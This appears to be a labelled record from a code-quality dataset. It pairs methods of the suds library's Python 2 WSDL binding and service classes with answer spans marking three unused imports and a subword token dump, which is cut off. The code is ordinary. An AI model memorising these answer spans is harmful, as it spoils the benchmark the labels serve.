Element('operation', ns=soapns)\n for c in root.getChildren('operation'):\n op = Facade('Operation')\n op.name = c.get('name')\n sop = c.getChild('operation', default=dsop)\n soap = Facade('soap')\n soap.action = '\"%s\"' % sop.get('soapAction', default='')\n soap.style = sop.get('style', default=self.soap.style)\n soap.input = Facade('Input')\n soap.input.body = Facade('Body')\n soap.input.headers = []\n soap.output = Facade('Output')\n soap.output.body = Facade('Body')\n soap.output.headers = []\n op.soap = soap\n input = c.getChild('input')\n if input is None:\n input = Element('input', ns=wsdlns)\n body = input.getChild('body')\n self.body(definitions, soap.input.body, body)\n for header in input.getChildren('header'):\n self.header(definitions, soap.input, header)\n output = c.getChild('output')\n if output is None:\n output = Element('output', ns=wsdlns)\n body = output.getChild('body')\n self.body(definitions, soap.output.body, body)\n for header in output.getChildren('header'):\n self.header(definitions, soap.output, header)\n faults = []\n for fault in c.getChildren('fault'):\n sf = fault.getChild('fault')\n if sf is None:\n continue\n fn = fault.get('name')\n f = Facade('Fault')\n f.name = sf.get('name', default=fn)\n f.use = sf.get('use', default='literal')\n faults.append(f)\n soap.faults = faults\n self.operations[op.name] = op", "metadata": "root.Binding.add_operations", "header": "['class', 'Binding', '(', 'NamedObject', ')', ':', '___EOS___']", "index": 565 }, { "content": " def body(self, definitions, body, root):\n \"\"\" add the input/output body properties \"\"\"\n if root is None:\n body.use = 'literal'\n body.namespace = definitions.tns\n body.parts = ()\n return\n parts = root.get('parts')\n if parts is None:\n body.parts = ()\n else:\n body.parts = re.split('[\\s,]', parts)\n body.use = root.get('use', default='literal')\n ns = root.get('namespace')\n if ns is None:\n body.namespace = definitions.tns\n else:\n prefix = root.findPrefix(ns, 'b0')\n body.namespace = (prefix, ns)", "metadata": "root.Binding.body", "header": "['class', 'Binding', '(', 'NamedObject', ')', ':', '___EOS___']", "index": 609 }, { "content": " def header(self, definitions, parent, root):\n \"\"\" add the input/output header properties \"\"\"\n if root is None:\n return\n header = Facade('Header')\n parent.headers.append(header)\n header.use = root.get('use', default='literal')\n ns = root.get('namespace')\n if ns is None:\n header.namespace = definitions.tns\n else:\n prefix = root.findPrefix(ns, 'h0')\n header.namespace = (prefix, ns)\n msg = root.get('message')\n if msg is not None:\n header.message = msg\n part = root.get('part')\n if part is not None:\n header.part = part", "metadata": "root.Binding.header", "header": "['class', 'Binding', '(', 'NamedObject', ')', ':', '___EOS___']", "index": 629 }, { "content": " def resolve(self, definitions):\n \"\"\"\n Resolve named references to other WSDL objects. This includes\n cross-linking information (from) the portType (to) the I{soap}\n protocol information on the binding for each operation.\n @param definitions: A definitions object.\n @type definitions: L{Definitions}\n \"\"\"\n self.resolveport(definitions)\n for op in self.operations.values():\n self.resolvesoapbody(definitions, op)\n self.resolveheaders(definitions, op)\n self.resolvefaults(definitions, op)", "metadata": "root.Binding.resolve", "header": "['class', 'Binding', '(', 'NamedObject', ')', ':', '___EOS___']", "index": 649 }, { "content": " def resolveport(self, definitions):\n \"\"\"\n Resolve port_type reference.\n @param definitions: A definitions object.\n @type definitions: L{Definitions}\n \"\"\"\n ref = qualify(self.type, self.root, definitions.tns)\n port_type = definitions.port_types.get(ref)\n if port_type is None:\n raise Exception(\"portType '%s', not-found\" % self.type)\n else:\n self.type = port_type", "metadata": "root.Binding.resolveport", "header": "['class', 'Binding', '(', 'NamedObject', ')', ':', '___EOS___']", "index": 663 }, { "content": " def resolvesoapbody(self, definitions, op):\n \"\"\"\n Resolve soap body I{message} parts by\n cross-referencing with operation defined in port type.\n @param definitions: A definitions object.\n @type definitions: L{Definitions}\n @param op: An I{operation} object.\n @type op: I{operation}\n \"\"\"\n ptop = self.type.operation(op.name)\n if ptop is None:\n raise Exception, \\\n \"operation '%s' not defined in portType\" % op.name\n soap = op.soap\n parts = soap.input.body.parts\n if len(parts):\n pts = []\n for p in ptop.input.parts:\n if p.name in parts:\n pts.append(p)\n soap.input.body.parts = pts\n else:\n soap.input.body.parts = ptop.input.parts\n parts = soap.output.body.parts\n if len(parts):\n pts = []\n for p in ptop.output.parts:\n if p.name in parts:\n pts.append(p)\n soap.output.body.parts = pts\n else:\n soap.output.body.parts = ptop.output.parts", "metadata": "root.Binding.resolvesoapbody", "header": "['class', 'Binding', '(', 'NamedObject', ')', ':', '___EOS___']", "index": 676 }, { "content": " def resolveheaders(self, definitions, op):\n \"\"\"\n Resolve soap header I{message} references.\n @param definitions: A definitions object.\n @type definitions: L{Definitions}\n @param op: An I{operation} object.\n @type op: I{operation}\n \"\"\"\n soap = op.soap\n headers = soap.input.headers + soap.output.headers\n for header in headers:\n mn = header.message\n ref = qualify(mn, self.root, definitions.tns)\n message = definitions.messages.get(ref)\n if message is None:\n raise Exception, \"message'%s', not-found\" % mn\n pn = header.part\n for p in message.parts:\n if p.name == pn:\n header.part = p\n break\n if pn == header.part:\n raise Exception, \\\n \"message '%s' has not part named '%s'\" % (ref, pn)", "metadata": "root.Binding.resolveheaders", "header": "['class', 'Binding', '(', 'NamedObject', ')', ':', '___EOS___']", "index": 709 }, { "content": " def resolvefaults(self, definitions, op):\n \"\"\"\n Resolve soap fault I{message} references by\n cross-referencing with operation defined in port type.\n @param definitions: A definitions object.\n @type definitions: L{Definitions}\n @param op: An I{operation} object.\n @type op: I{operation}\n \"\"\"\n ptop = self.type.operation(op.name)\n if ptop is None:\n raise Exception, \\\n \"operation '%s' not defined in portType\" % op.name\n soap = op.soap\n for fault in soap.faults:\n for f in ptop.faults:\n if f.name == fault.name:\n fault.parts = f.message.parts\n continue\n if hasattr(fault, 'parts'):\n continue\n raise Exception, \\\n \"fault '%s' not defined in portType '%s'\" % (fault.name, self.type.name)", "metadata": "root.Binding.resolvefaults", "header": "['class', 'Binding', '(', 'NamedObject', ')', ':', '___EOS___']", "index": 734 }, { "content": " def operation(self, name):\n \"\"\"\n Shortcut used to get a contained operation by name.\n @param name: An operation name.\n @type name: str\n @return: The named operation.\n @rtype: Operation\n @raise L{MethodNotFound}: When not found.\n \"\"\"\n try:\n return self.operations[name]\n except:\n raise MethodNotFound(name)", "metadata": "root.Binding.operation", "header": "['class', 'Binding', '(', 'NamedObject', ')', ':', '___EOS___']", "index": 758 }, { "content": " def __gt__(self, other):\n return ( not isinstance(other, Service) )", "metadata": "root.Binding.__gt__", "header": "['class', 'Binding', '(', 'NamedObject', ')', ':', '___EOS___']", "index": 772 }, { "content": "class Port(NamedObject):\n \"\"\"\n Represents a service port.\n @ivar service: A service.\n @type service: L{Service}\n @ivar binding: A binding name.\n @type binding: str\n @ivar location: The service location (url).\n @type location: str\n \"\"\"\n\n", "metadata": "root.Port", "header": "['module', '___EOS___']", "index": 776 }, { "content": " def __init__(self, root, definitions, service):\n \"\"\"\n @param root: An XML root element.\n @type root: L{Element}\n @param definitions: A definitions object.\n @type definitions: L{Definitions}\n @param service: A service object.\n @type service: L{Service}\n \"\"\"\n NamedObject.__init__(self, root, definitions)\n self.__service = service\n self.binding = root.get('binding')\n address = root.getChild('address')\n if address is None:\n self.location = None\n else:\n self.location = address.get('location').encode('utf-8')\n self.methods = {}", "metadata": "root.Port.__init__", "header": "['class', 'Port', '(', 'NamedObject', ')', ':', '___EOS___']", "index": 787 }, { "content": " def method(self, name):\n \"\"\"\n Get a method defined in this portType by name.\n @param name: A method name.\n @type name: str\n @return: The requested method object.\n @rtype: I{Method}\n \"\"\"\n return self.methods.get(name)", "metadata": "root.Port.method", "header": "['class', 'Port', '(', 'NamedObject', ')', ':', '___EOS___']", "index": 806 }, { "content": "class Service(NamedObject):\n \"\"\"\n Represents <service/>.\n @ivar port: The contained ports.\n @type port: [Port,..]\n @ivar methods: The contained methods for all ports.\n @type methods: [Method,..]\n \"\"\"\n\n\n\n\n", "metadata": "root.Service", "header": "['module', '___EOS___']", "index": 817 }, { "content": " def __init__(self, root, definitions):\n \"\"\"\n @param root: An XML root element.\n @type root: L{Element}\n @param definitions: A definitions object.\n @type definitions: L{Definitions}\n \"\"\"\n NamedObject.__init__(self, root, definitions)\n self.ports = []\n for p in root.getChildren('port'):\n port = Port(p, definitions, self)\n self.ports.append(port)", "metadata": "root.Service.__init__", "header": "['class', 'Service', '(', 'NamedObject', ')', ':', '___EOS___']", "index": 826 }, { "content": " def port(self, name):\n \"\"\"\n Locate a port by name.\n @param name: A port name.\n @type name: str\n @return: The port object.\n @rtype: L{Port}\n \"\"\"\n for p in self.ports:\n if p.name == name:\n return p\n return None", "metadata": "root.Service.port", "header": "['class', 'Service', '(', 'NamedObject', ')', ':', '___EOS___']", "index": 839 }, { "content": " def setlocation(self, url, names=None):\n \"\"\"\n Override the invocation location (url) for service method.\n @param url: A url location.\n @type url: A url.\n @param names: A list of method names. None=ALL\n @type names: [str,..]\n \"\"\"\n for p in self.ports:\n for m in p.methods.values():\n if names is None or m.name in names:\n m.location = url", "metadata": "root.Service.setlocation", "header": "['class', 'Service', '(', 'NamedObject', ')', ':', '___EOS___']", "index": 852 }, { "content": " def resolve(self, definitions):\n \"\"\"\n Resolve named references to other WSDL objects.\n Ports without soap bindings are discarded.\n @param definitions: A definitions object.\n @type definitions: L{Definitions}\n \"\"\"\n filtered = []\n for p in self.ports:\n ref = qualify(p.binding, self.root, definitions.tns)\n binding = definitions.bindings.get(ref)\n if binding is None:\n raise Exception(\"binding '%s', not-found\" % p.binding)\n if binding.soap is None:\n #log.debug('binding \"%s\" - not a soap, discarded', binding.name)\n continue\n p.binding = binding\n filtered.append(p)\n self.ports = filtered", "metadata": "root.Service.resolve", "header": "['class', 'Service', '(', 'NamedObject', ')', ':', '___EOS___']", "index": 865 }, { "content": " def __gt__(self, other):\n return True", "metadata": "root.Service.__gt__", "header": "['class', 'Service', '(', 'NamedObject', ')', ':', '___EOS___']", "index": 885 }, { "content": "class Factory:\n \"\"\"\n Simple WSDL object factory.\n @cvar tags: Dictionary of tag->constructor mappings.\n @type tags: dict\n \"\"\"\n\n tags =\\\n {\n 'import' : Import,\n 'types' : Types,\n 'message' : Message,\n 'portType' : PortType,\n 'binding' : Binding,\n 'service' : Service,\n }\n", "metadata": "root.Factory", "header": "['module', '___EOS___']", "index": 889 }, { "content": " @classmethod\n def create(cls, root, definitions):\n \"\"\"\n Create an object based on the root tag name.\n @param root: An XML root element.\n @type root: L{Element}\n @param definitions: A definitions object.\n @type definitions: L{Definitions}\n @return: The created object.\n @rtype: L{WObject}\n \"\"\"\n fn = cls.tags.get(root.name)\n if fn is not None:\n return fn(root, definitions)\n else:\n return None", "metadata": "root.Factory.create", "header": "['class', 'Factory', ':', '___EOS___']", "index": 906 } ]
[ { "span": "from suds.sax import splitPrefix", "start_line": 24, "start_column": 0, "end_line": 24, "end_column": 32 }, { "span": "from suds.reader import DocumentReader, DefinitionsReader", "start_line": 32, "start_column": 0, "end_line": 32, "end_column": 57 }, { "span": "import re, soaparray", "start_line": 34, "start_column": 0, "end_line": 34, "end_column": 20 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "Thi", "s", " ", "program", " ", "is", " ", "free", " ", "software", ";", " ", "you", " ", "can", " ", "redis", "tribut", "e", " ", "it", " ", "and", "/", "or", " ", "modify_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "it", " ", "under", " ", "the", " ", "term", "s", " ", "of", " ", "the", " ", "(", "LGP", "L", ")", " ", "GN", "U", " ", "Less", "er", " ", "General", " ", "Public", " ", "License", " ", "as_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "publi", "shed", " ", "by", " ", "the", " ", "Free", " ", "Sof", "twa", "re", " ", "Foun", "dati", "on", ";", " ", "eit", "her", " ", "version", " ", "3", " ", "of", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "License", ",", " ", "or", " ", "(", "at", " ", "your", " ", "option", ")", " ", "any", " ", "late", "r", " ", "version", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "program", " ", "is", " ", "distributed", " ", "in", " ", "the", " ", "hop", "e", " ", "tha", "t", " ", "it", " ", "will", " ", "be", " ", "usef", "ul", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "but", " ", "WITH", "OUT", " ", "ANY", " ", "WAR", "RAN", "TY", ";", " ", "with", "out", " ", "even", " ", "the", " ", "impli", "ed", " ", "warr", "ant", "y", " ", "of_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "MER", "CHAN", "TAB", "ILI", "TY", " ", "or", " ", "FIT", "NESS", " ", "FOR", " ", "A", " ", "PARTI", "CUL", "AR", " ", "PUR", "POS", "E", ".", " ", " ", "See", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "GN", "U", " ", "Libr", "ary", " ", "Less", "er", " ", "General", " ", "Public", " ", "License", " ", "for", " ", "more", " ", "deta", "il", "s", " ", "at_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", " ", "http", "://", "www", ".", "gnu", ".", "org", "/", "license", "s", "/", "lg", "pl", ".", "html", " ", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "You", " ", "shou", "ld", " ", "have", " ", "receive", "d", " ", "a", " ", "copy", " ", "of", " ", "the", " ", "GN", "U", " ", "Less", "er", " ", "General", " ", "Public", " ", "License", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "along", " ", "with", " ", "this", " ", "program", ";", " ", "if", " ", "not", ",", " ", "write", " ", "to", " ", "the", " ", "Free", " ", "Sof", "twa", "re_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Foun", "dati", "on", ",", " ", "Inc", ".,", " ", "5", "9", " ", "Temp", "le", " ", "Place", " ", "-", " ", "Suit", "e", " ", "330", ",", " ", "Bo", "ston", ",", " ", "MA", " ", "0211", "1", "-1", "307", ",", " ", "USA", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "writt", "en", " ", "by", ":", " ", "Je", "ff", " ", "Or", "tel", " ", "(", " ", "jor", "tel", "@", "red", "hat", ".", "com", " ", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "The", " ", "I", "{", "ws", "dl", "}", " ", "module", " ", "provide", "s", " ", "an", " ", "objecti", "fication", " ", "of", " ", "the", " ", "WS", "DL", ".", "\\", "10", ";", "The", " ", "primary", " ", "class", " ", "is", " ", "I", "{", "Definit", "ion", "s", "}", " ", "as", " ", "it", " ", "repr", "ese", "nd", "s", " ", "the", " ", "root", " ", "element", "\\", "10", ";", "found", " ", "in", " ", "the", " ", "document", ".", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "logging_", "import_", "get", "Logger_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sud", "s_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sud", "s_", "._", "sax_", "import_", "split", "Prefix_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sud", "s_", "._", "sax_", "._", "element_", "import_", "Element_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sud", "s_", "._", "bindings_", "._", "document_", "import_", "Document_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sud", "s_", "._", "bindings_", "._", "rpc_", "import_", "RP", "C_", ",_", "Encode", "d_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sud", "s_", "._", "xsd", "_", "import_", "quali", "fy_", ",_", "Namespace_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sud", "s_", "._", "xsd", "_", "._", "schema_", "import_", "Schema_", ",_", "Schema", "Collection_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sud", "s_", "._", "xsd", "_", "._", "query_", "import_", "Element", "Query_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sud", "s_", "._", "sud", "sobject_", "import_", "Object_", ",_", "Fac", "ade_", ",_", "Metadata_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sud", "s_", "._", "reader_", "import_", "Document", "Reader_", ",_", "Definit", "ion", "s", "Reader_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "urlparse_", "import_", "urljoin_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", ",_", "soap", "array_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log_", "=_", "get", "Logger_", "(_", "\\u\\u", "name\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ws", "dl", "ns_", "=_", "(_", "None_", ",_", "\"", "http", "://", "schema", "s", ".", "xmls", "oap", ".", "org", "/", "ws", "dl", "/\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "soap", "ns_", "=_", "(_", "None_", ",_", "'", "http", "://", "schema", "s", ".", "xmls", "oap", ".", "org", "/", "ws", "dl", "/", "soap", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "soap", "1", "2n", "s_", "=_", "(_", "None_", ",_", "'", "http", "://", "schema", "s", ".", "xmls", "oap", ".", "org", "/", "ws", "dl", "/", "soap", "1", "2", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "WO", "bject_", "(_", "Object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Base", " ", "object", " ", "for", " ", "ws", "dl", " ", "types", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "root", ":", " ", "The", " ", "XML", " ", "I", "{", "root", "}", " ", "element", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "root", ":", " ", "L", "{", "Element", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "WO", "bject_", "(_", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "root_", ",_", "definitions_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "root", ":", " ", "An", " ", "XML", " ", "root", " ", "element", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "root", ":", " ", "L", "{", "Element", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "definit", "ion", "s", ":", " ", "A", " ", "definit", "ion", "s", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "definit", "ion", "s", ":", " ", "L", "{", "Definit", "ion", "s", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Object_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "root_", "=_", "root_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pm", "d_", "=_", "Metadata_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pm", "d_", "._", "excludes_", "=_", "[_", "'", "root", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pm", "d_", "._", "wrappers_", "=_", "dict_", "(_", "qname_", "=_", "repr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u\\u", "metadata", "\\u\\u_", "._", "\\u\\u", "print", "\\u\\u_", "=_", "pm", "d_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "WO", "bject_", "(_", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "resolve_", "(_", "self_", ",_", "definitions_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Resolv", "e", " ", "named", " ", "reference", "s", " ", "to", " ", "other", " ", "WS", "DL", " ", "object", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "definit", "ion", "s", ":", " ", "A", " ", "definit", "ion", "s", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "definit", "ion", "s", ":", " ", "L", "{", "Definit", "ion", "s", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Name", "d", "Object_", "(_", "WO", "bject_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "B", "{", "named", "}", " ", "WS", "DL", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "name", ":", " ", "The", " ", "name", " ", "of", " ", "the", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "name", ":", " ", "str", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "qna", "me", ":", " ", "The", " ", "I", "{", "qualified", "}", " ", "name", " ", "of", " ", "the", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "qna", "me", ":", " ", "(", "name", ",", " ", "I", "{", "namespace", "-", "uri", "}).", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Name", "d", "Object_", "(_", "WO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "root_", ",_", "definitions_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "root", ":", " ", "An", " ", "XML", " ", "root", " ", "element", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "root", ":", " ", "L", "{", "Element", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "definit", "ion", "s", ":", " ", "A", " ", "definit", "ion", "s", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "definit", "ion", "s", ":", " ", "L", "{", "Definit", "ion", "s", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "WO", "bject_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "root_", ",_", "definitions_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "name_", "=_", "root_", "._", "get_", "(_", "'", "name", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "qname_", "=_", "(_", "self_", "._", "name_", ",_", "definitions_", "._", "tns", "_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pm", "d_", "=_", "self_", "._", "\\u\\u", "metadata", "\\u\\u_", "._", "\\u\\u", "print", "\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pm", "d_", "._", "wrappers_", "[_", "'", "qna", "me", "'_", "]_", "=_", "repr_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Definit", "ions_", "(_", "WO", "bject_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Represent", "s", " ", "the", " ", "I", "{", "root", "}", " ", "container", " ", "of", " ", "the", " ", "WS", "DL", " ", "object", "s", " ", "as", " ", "defin", "ed", "\\", "10", ";", " ", " ", " ", " ", "by", " ", "<", "ws", "dl", ":", "definit", "ion", "s", "/>", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "id", ":", " ", "The", " ", "object", " ", "id", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "id", ":", " ", "str", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "options", ":", " ", "An", " ", "options", " ", "dictionar", "y", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "options", ":", " ", "L", "{", "options", ".", "Optio", "ns", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "url", ":", " ", "The", " ", "URL", " ", "used", " ", "to", " ", "load", " ", "the", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "url", ":", " ", "str", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "tns", ":", " ", "The", " ", "target", " ", "namespace", " ", "for", " ", "the", " ", "WS", "DL", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "tns", ":", " ", "str", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "schema", ":", " ", "The", " ", "collectiv", "e", " ", "WS", "DL", " ", "schema", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "schema", ":", " ", "L", "{", "Schema", "Collecti", "on", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "child", "ren", ":", " ", "The", " ", "raw", " ", "list", " ", "of", " ", "child", " ", "object", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "child", "ren", ":", " ", "[", "L", "{", "WO", "bject", "},", "...]", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "import", "s", ":", " ", "The", " ", "list", " ", "of", " ", "L", "{", "Import", "}", " ", "child", "ren", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "import", "s", ":", " ", "[", "L", "{", "Import", "},", "...]", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "message", "s", ":", " ", "The", " ", "dictionar", "y", " ", "of", " ", "L", "{", "Messag", "e", "}", " ", "child", "ren", " ", "key", "'", "d", " ", "by", " ", "I", "{", "qna", "me", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "message", "s", ":", " ", "[", "L", "{", "Messag", "e", "},", "...]", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "port", "\\u", "types", ":", " ", "The", " ", "dictionar", "y", " ", "of", " ", "L", "{", "Port", "Type", "}", " ", "child", "ren", " ", "key", "'", "d", " ", "by", " ", "I", "{", "qna", "me", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "port", "\\u", "types", ":", " ", "[", "L", "{", "Port", "Type", "},", "...]", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", 